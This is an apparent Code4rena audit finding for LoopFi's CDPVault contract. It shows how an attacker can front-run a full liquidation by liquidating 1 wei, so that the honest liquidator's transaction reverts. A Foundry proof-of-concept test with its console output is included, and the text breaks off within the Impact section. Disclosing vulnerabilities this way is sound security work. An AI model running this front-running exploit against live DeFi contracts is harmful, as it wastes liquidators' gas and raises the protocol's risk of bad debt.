An attacker can frontrun a liquidation by liquidating just 1 wei to revert the whole liquidation, this increases the chance of bad debt occurring and discourages liquidators from liquidating in the future
Audit: 2024-07-loopfi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/CDPVault.sol#L509


# Vulnerability details

## Vulnerability Details

An attacker can force a total loan liqudiation to revert by frontrunning the tx by liquidating just 1 wei. It will revert due to the `repayAmount` being greater than the loan.

The following is the reverting line in `CDPVault.liquidatePosition()`. `TakeCollateral` is derived from the `repayAmount` of the liquidator

```solidity
if (takeCollateral > position.collateral) revert CDPVault__tooHighRepayAmount();

```

## Proof of Concept

Add the following `test__POC__FrontrunByLiquidating1Wei` to CDPVault.t.sol and run it using the following command

```bash
forge test --mt test__POC__FrontrunByLiquidating1Wei

```

```solidity
function test__POC__FrontrunByLiquidating1Wei() public {
    //===========================
    // SETUP
    //===========================

    // Setup the CDPVault
    CDPVault vault = createCDPVault(token, 150 ether, 0, 1.25 ether, 1 ether, 1 ether);
    createGaugeAndSetGauge(address(vault));

    // setup actors
    address honestLiquidator = address(888);
    address attacker = address(999);

    mockWETH.mint(honestLiquidator, 80 ether);
    mockWETH.mint(attacker, 80 ether);

    vm.prank(honestLiquidator);
    mockWETH.approve(address(vault), 80 ether);

    vm.prank(attacker);
    mockWETH.approve(address(vault), 80 ether);

    //===========================
    // POC STARTS HERE
    //===========================

    // Create a position for address(this) that borrows 80 WETH
    _modifyCollateralAndDebt(vault, 100 ether, 80 ether);

    address position = address(this);

    // Update spot price to make the position unsafe
    _updateSpot(0.8 ether);

    // An honest liquidator sees that the position is unsafe and
    // sends a Tx to liquidate the whole loan of 80 WETH

    // The attacker sees the honest liquidator's tx in the mempool and
    // frontruns it by liquidating just 1 wei
    vm.prank(attacker);
    vault.liquidatePosition(position, 1 wei);

    // The honest liquidator's Tx goes through after the attacker
    // It will revert due to repayign too much
    vm.prank(honestLiquidator);
    vm.expectRevert(CDPVault.CDPVault__tooHighRepayAmount.selector);
    vault.liquidatePosition(position, 80 ether);
}

```

Console output:

```bash
Ran 1 test for src/test/unit/CDPVault.t.sol:CDPVaultTest
[PASS] test__POC__FrontrunByLiquidating1Wei() (gas: 3846549)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.91ms (1.46ms CPU time)

Ran 1 test suite in 6.83ms (3.91ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

```

## Impact

Liquidation reverts, this increases the chance of bad debt occuring/accruing

An honest liquidator's Tx reverts so they lose a lot of gas fees on mainnet. This should never happen because it discourages them from liquidating in the future, which in turn increases the chance of ba